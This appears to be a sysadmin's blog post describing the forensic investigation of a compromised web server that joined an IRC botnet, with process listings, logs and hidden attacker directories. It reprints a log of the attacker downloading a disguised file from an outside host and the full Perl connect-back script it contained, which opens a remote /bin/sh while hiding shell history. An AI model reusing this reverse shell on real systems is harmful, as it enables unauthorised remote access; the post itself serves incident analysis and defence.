Lunchtime Semaphore

Web server are not easy beast to handle: you want to make the stuff work but at the same time for security, you want to have as little stuff as possible to be opened.

For several years, I have been handling several webservers and the most basic precautions kept the bad guys away. By most basic I mean: restrictive iptables, ssh blacklist, no ftp, no telnet, no dns server.

However, the multiplication of web applications, particularly those written in php, seems to be the main risk today. Recently, I had a bit of an adventure on one of this server. Here is the story (some details had been changed)… if it can help other people to close their server, great, because their is quite a bit of server involved…

The facts

Everything started  when some funny program started to try to listen on port 80 (and prevented apache to restart after each log rotate):

$ sudo lsof -i :80
COMMAND   PID     USER   FD   TYPE  DEVICE SIZE NODE NAME
bindz   18650 www-data    3u  IPv4 3710449       TCP *:www (LISTEN)
httpd   18663 www-data    3u  IPv4 3710449       TCP *:www (LISTEN)

From what you get when googling ‘bindz’, the situation is pretty clear… At least the process are started only by the www-data user, it’s serious enough, but it could be worse.

Looking on what was going on, on the active connexion side:

$ sudo netstat
Connexions Internet actives (sans serveurs)
Proto Recv-Q Send-Q Adresse locale          Adresse distante        Etat
[...]
tcp        0      1 localhost.:49069 undernet.irc.juste:ircd SYN_SENT
tcp        0      1 localhost.:55999 ircu.krypt.com:ircd     SYN_SENT

Active connexion to some IRC server. The machine is now part of a botnet. Let see if we can find out how we came to this point.

Usually, the tmp directory are put to good use in these cases. And indeed:

/var/tmp$ ls -al
total 16
drwxrwxrwt  4 root     root     4096 2008-08-07 13:28 .
drwxr-xr-x  3 www-data www-data 4096 2008-08-07 13:28 .
drwxr-xr-x 15 root     root     4096 2008-03-05 08:28 ..
drwxr-xr-x  3 www-data www-data 4096 2008-07-08 16:35 ..

Also somewhere else (note the name of the files: . and .. which make them troublesome to remove):

/tmp$ ls -altr
total 724
drwxr-xr-x  2 www-data www-data   4096 2006-08-16 10:56 bind
-rw-r--r--  1 www-data www-data  12133 2008-08-11 21:48 bind.tgz
drwxr-xr-x 23 root     root       4096 2008-07-06 23:36 ..
drwxrwxrwt  2 root     root       4096 2008-07-07 05:01 .X11-unix
drwxrwxrwt  2 root     root       4096 2008-07-07 05:01 .ICE-unix
drwx------  5 www-data www-data   4096 2008-08-18 15:00 .shell
drwxr-xr-x  2 www-data www-data   4096 2008-08-10 14:00 .
drwxrwxrwt  7 root     root       4096 2009-02-13 15:46 .

The content of the bind.tgz file is quite interesting: there is everything you need for spamming or flooding. The funny part is that even the source code is provided (for compliance with the GPL licence I guess!).

Some programs are running as the www-data user:

$sudo ps aux | grep www
www-data  8322  0.0  0.0   1876   728 ?        Ss   03:26   0:00 httpd
www-data  8537  0.0  1.5 114648 15268 ?        S    04:28   0:02
/usr/sbin/apache2 -k start

httpd is a fake program as the real apache server program is now called apache2 (as you can see on the second line which is the norma process). Hum, and this program (part of the bind.tgz), is not even able to run without segfault:

Aug 17 03:26:48 localhost kernel: httpd[8321]: segfault at ffffe500 rip
ffffe500 rsp ffa94bd0 error 14
Aug 17 03:26:48 localhost kernel: grsec: From 213.96.25.30: signal 11
sent to /var/tmp/.. /.shell/httpd[httpd:8321] uid/euid:33/33
gid/egid:33/33, parent /sbin/init[init:1] uid
/euid:0/0 gid/egid:0/0

In the apache log, there is more information on how all these files came here:

[Sun Aug 17 03:23:01 2008] [error] [client 94.23.2.189] client sent
HTTP/1.1 request without hostname (see RFC2616 section 14.23):
/w00tw00t.at.ISC.SANS.DFind:)
--03:26:25--  http://mystres.com/nc.jpg
          => `nc.jpg'
Resolving mystres.com... 85.17.224.80
Connecting to mystres.com|85.17.224.80|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 872 [image/jpeg]

   0K                                                       100%  109.57 KB/s

03:26:26 (109.57 KB/s) - `nc.jpg' saved [872/872]

This file, not really a jpeg is actually a perl scrip, here without the shebang:

use Socket;
print "\n [0;33m[~] Incerc sa fac legatura =) [0m\n";
$host = $ARGV[0];
$port = 8080;
if ($ARGV[1]) {
 $port = $ARGV[1];
}
$proto = getprotobyname('tcp') || die(" [0;31m[-] Nu merge treaba [0m\n\n");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die (" [0;31m[-]
Eroare socket [0m\n\n");
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
 die(" [0;31m[-] Conecktback Esuat [0m\n\n");
}
if (!fork( )) {
 open(STDIN,">&SERVER");
 open(STDOUT,">&SERVER");
 open(STDERR,">&SERVER");
 print "[+]  [0;32mConectback by  [0;36msTrEs [0;32m ... private version
=) [0m\n";
 system("unset HISTFILE; unset HISTSAVE ; uname -a ; id ; w ; echo
\"[+]  [0;32mTime to burn... [0m\";echo \"[+]  [0;31mDo not fucking
press Ctrl C [0m\"; /bin/sh -i");
 exit(0);
}
print " [0;32m[+] Conectback Reusit ! [0m\n\n";

This was the facts. Next time we are going to have a look on how to limit these kind of stuff and how to tweak the configuration to seriously limit the potential of such compromised server.